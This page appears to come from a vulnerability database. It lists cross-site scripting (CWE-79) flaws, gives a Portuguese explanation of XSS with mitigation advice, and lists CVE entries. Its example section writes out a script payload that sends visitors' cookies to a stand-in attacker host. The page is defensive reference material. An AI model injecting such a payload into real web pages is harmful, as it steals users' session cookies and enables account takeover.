Fallos del tipo CWE-79

29.926 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-10089MEDIUMInsert Pages <= 3.11.4 - Authenticated (Author+) Stored Cross-Site Scripting via Custom Field Keys (Meta Key Names)EPSS 0.4%CVE-2025-46944MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2025-22597HIGHWeGIA has a Cross-Site Scripting (XSS) Stored endpoint 'CobrancaController.php' parameter 'local_recepcao'EPSS 0.4%CVE-2023-23313MEDIUMCertain Draytek products are vulnerable to Cross Site Scripting (XSS) via the wlogin.cgi script and user_login.cgi script of the router's weEPSS 0.4%CVE-2025-46916MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-1946LOWSourceCodester Survey Application System Add New cross site scriptingEPSS 0.4%CVE-2024-45610MEDIUMGLPI has a reflected XSS in ajax/cable.phpEPSS 0.4%CVE-2026-13710MEDIUMJeg Kit for Elementor <= 3.2.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'sg_body_description' Parameter via 'jkit_image_box' Shortcode/WidgetEPSS 0.4%CVE-2026-13335MEDIUMCodePeople Post Map for Google Maps <= 1.2.6 - Authenticated (Contributor +) Stored Cross-Site Scripting via 'cpm_point' Post MetaEPSS 0.4%CVE-2024-50965MEDIUMCross Site Scripting vulnerability in Public Knowledge Project PKP Platform OJS/OMP/OPS- before v.3.3.0.16 allows an attacker to execute arbEPSS 0.4%CVE-2024-29776MEDIUMWordPress EventPrime plugin <= 3.3.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-8027MEDIUMStored Cross-Site Scripting (XSS) in netease-youdao/QAnythingEPSS 0.4%CVE-2026-18344MEDIUMResponsive Thumbnail Slider < 1.1.53 - Reflected Cross-Site Scripting via 'id' ParameterEPSS 0.4%CVE-2026-15285MEDIUMThe Plus Addons for Elementor <= 6.4.11 - Authenticated (Contributor+) Stored Cross-Site Scripting via Button Widget Custom AttributesEPSS 0.4%CVE-2024-5199MEDIUMSpotify Play Button <= 1.0 - Contributor+ Stored XSSEPSS 0.4%CVE-2026-38949HIGHCross-Site Scripting (XSS) vulnerability exists in HTMLy version 3.1.1 in the content creation functionality at the /add/content?type=image EPSS 0.4%CVE-2024-33639MEDIUMWordPress PopupAlly plugin <= 2.1.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-37527MEDIUMA cross-site scripting (XSS) vulnerability affects HCL BigFix PlatformEPSS 0.4%CVE-2023-3538LOWSimplePHPscripts Photo Gallery PHP URL Parameter preview.php cross site scriptingEPSS 0.4%CVE-2024-33918MEDIUMWordPress AJAX Login and Registration modal popup + inline form plugin <= 2.23 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%